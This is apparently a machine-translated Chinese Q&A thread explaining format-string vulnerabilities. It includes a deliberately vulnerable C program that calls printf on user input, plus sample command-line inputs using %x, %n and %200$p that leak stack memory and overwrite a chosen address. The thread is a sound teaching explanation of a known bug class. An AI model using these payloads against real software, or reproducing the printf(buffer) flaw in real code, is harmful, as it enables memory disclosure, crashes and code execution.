如何利用Format-String漏洞?

我正在阅读代码中的漏洞,并且遇到了这个Format-String漏洞

维基百科说:

格式化string错误通常在程序员希望打印包含用户提供的数据的string时出现。 程序员可能会错误地写printf(buffer)而不是printf(“%s”,buffer)。 第一个版本将缓冲区解释为格式string,并parsing可能包含的任何格式化指令。 第二个版本只是按照程序员的意图在屏幕上打印一个string。

我得到了printf(缓冲区)版本的问题,但我仍然没有得到这个漏洞如何被攻击者用来执行有害的代码。 有人可以告诉我这个漏洞如何被一个例子利用吗?

您可以通过多种方式直接或间接地利用格式string漏洞。 我们以下面的例子为例(假设没有相关的操作系统保护,这是非常罕见的):

 int main(int argc, char **argv) { char text[1024]; static int some_value = -72; strcpy(text, argv[1]); /* ignore the buffer overflow here */ printf("This is how you print correctly:\n"); printf("%s", text); printf("This is how not to print:\n"); printf(text); printf("some_value @ 0x%08x = %d [0x%08x]", &some_value, some_value, some_value); return(0); } 

这个漏洞的基础是具有可变参数的函数的行为。 一个实现可变数量参数处理的函数必须从堆栈中读取它们。 如果我们指定一个格式化string,它将使printf()在堆栈中有两个整数,而我们只提供一个参数,那么第二个将不得不在堆栈上。 通过扩展,如果我们能控制格式string,我们可以有两个最基本的原语:


从任意内存地址读取

[编辑] 重要:我在这里做一些关于堆栈框架布局的假设。 如果您了解漏洞背后的基本前提,则可以忽略它们,而且它们在操作系统,平台,程序和configuration方面各不相同。

可以使用%s格式参数来读取数据。 您可以在printf(text)读取原始格式string的数据,因此您可以使用它读取堆栈中的任何内容:

 ./vulnerable AAAA%08x.%08x.%08x.%08x This is how you print correctly: AAAA%08x.%08x.%08x.%08x This is how not to print: AAAA.XXXXXXXX.XXXXXXXX.XXXXXXXX.41414141 some_value @ 0x08049794 = -72 [0xffffffb8] 

写入任意内存地址

您可以使用%n格式说明符写入任意地址(几乎)。 再次假设我们上面的漏洞程序,让我们尝试改变位于0x08049794 ,如上所示:

 ./vulnerable $(printf "\x94\x97\x04\x08")%08x.%08x.%08x.%n This is how you print correctly: ??%08x.%08x.%08x.%n This is how not to print: ??XXXXXXXX.XXXXXXXX.XXXXXXXX. some_value @ 0x08049794 = 31 [0x0000001f] 

在遇到%n说明符之前写入的字节数( man printf )覆盖了some_value 。 我们可以使用格式string本身,或者字段宽度来控制这个值:

 ./vulnerable $(printf "\x94\x97\x04\x08")%x%x%x%n This is how you print correctly: ??%x%x%x%n This is how not to print: ??XXXXXXXXXXXXXXXXXXXXXXXX some_value @ 0x08049794 = 21 [0x00000015] 

有很多可能性和窍门可以尝试(直接参数访问,大场宽,可能包装,构build自己的原语),这只是触及冰山一angular。 我build议阅读关于fmtstring漏洞的更多文章(Phrack有一些非常优秀的文章,虽然他们可能有点高级)或者涉及这个主题的书。


免责声明:这个例子是从Jon Erickson的“ 黑客:剥削的艺术”(第二版)一书中得到的[尽pipe并不是逐字的]。

啊,答案是在文章中!

不受控制的格式string是1999年左右发现的一种软件漏洞,可用于安全漏洞攻击。 以前认为无害,格式string攻击可以用于崩溃程序执行有害的代码

典型的漏洞利用这些技术的组合来强制程序用一个指向某个恶意shellcode的指针来覆盖栈函数的地址或堆栈上的返回地址。 格式说明符的填充参数用于控制输出的字节数, %x令牌用于从堆栈中popup字节,直到达到格式string本身的开始。 格式化string的开始是为了包含%n格式标记可以用要执行的恶意代码的地址覆盖的地址

这是因为%n 导致printf 数据写入堆栈上的variables 。 但是这意味着它可以任意写一些东西。 所有你需要的是让别人使用这个variables(如果它恰好是一个函数指针,它的价值,你只是想出如何控制,这是相对容易的),他们可以让你任意执行任何事情。

看看文章中的链接; 他们看起来很有趣

有趣的是,没有人提到POSIX支持的n$表示法。 如果您可以控制格式string作为攻击者,您可以使用符号如:

 "%200$p" 

阅读堆栈中的 200项(如果有的话)。 其目的是要列出从1到最大的所有n$数字,并且提供了一种重新sorting参数如何显示在格式string中的方法,这在处理I18N(L10N,G11N,M18N * )时非常方便。

然而,一些(可能是大多数)系统对于如何validationn$值有些缺乏认识,这可能导致攻击者可以控制格式string的滥用。 结合%n格式说明符,可以导致在指针位置写入。


*缩写I18N,L10N,G11N和M18N分别为国际化,本地化,全球化和多国化。 数字代表被省略的字母的数量。

我build议阅读这个关于格式string漏洞的讲义。 它详细描述了发生了什么,怎么样,并有一些图像可以帮助你理解这个话题。

AFAIK这主要是因为它可以使您的程序崩溃,这被认为是拒绝服务攻击。 所有你需要的是给一个无效的地址(实际上任何有几个%s东西都能保证工作),并且成为一个简单的拒绝服务(DoS)攻击。

现在,从理论上讲,在exception/信号/中断处理程序的情况下,可以触发任何事情,但是搞清楚如何做到这一点超出了我的范围 – 您需要弄清楚如何任意数据写入内存。

但是为什么有人在乎程序崩溃,你可能会问? 这不仅仅是不方便使用者(无论如何应得的)?

问题是一些程序被多个用户访问,所以崩溃它们的成本是不可忽视的。 或者有时他们对系统的运行(或者他们正在做一些非常关键的事情)很关键,在这种情况下,这可能会损害您的数据。 当然,如果你记事本崩溃,那么没有人会关心,但是如果你崩溃了CSRSS(我相信它实际上有一个类似的错误 – 特别是一个双免费的错误),那么是的,整个系统是随着你。


更新:

请参阅此链接 ,了解我所指的CSRSS错误。


编辑:

请注意, 读取任意数据可能与执行任意代码一样危险 ! 如果你读了一个密码,一个cookie等,那么它就像任意代码执行一样严重 – 如果你有足够的时间来尝试足够的格式string,这是微不足道的

一个简单的“自己动手”的例子:(我知道它在winxp-win7上工作,不知道win8)在Windows中打开命令提示符

 C:\>sort idontexists idontexistsThe system cannot find the file specified. C:\>sort idontexists%s idontexists"The system cannot find the file specified. C:\>sort idontexists%s idontexists,The system cannot find the file specified. C:\>sort idontexists%s idontexistsóThe system cannot find the file specified. C:\>sort idontexists%s idontexists!The system cannot find the file specified. C:\>sort idontexists%s idontexistsºThe system cannot find the file specified. 

当没有find文件时,程序echo是第一个参数,它用堆栈中的某个值replace%s。

说明 。 请记住,c中的任何可变参数函数都需要知道它正在接收多less个参数。 在printf中,这是通过parsing第一个参数来完成的。 如果您更改第一个参数,以便printf认为它有一些额外的参数,更多的东西将被popup堆栈。 (维基百科的链接应该更详细地介绍这一点)。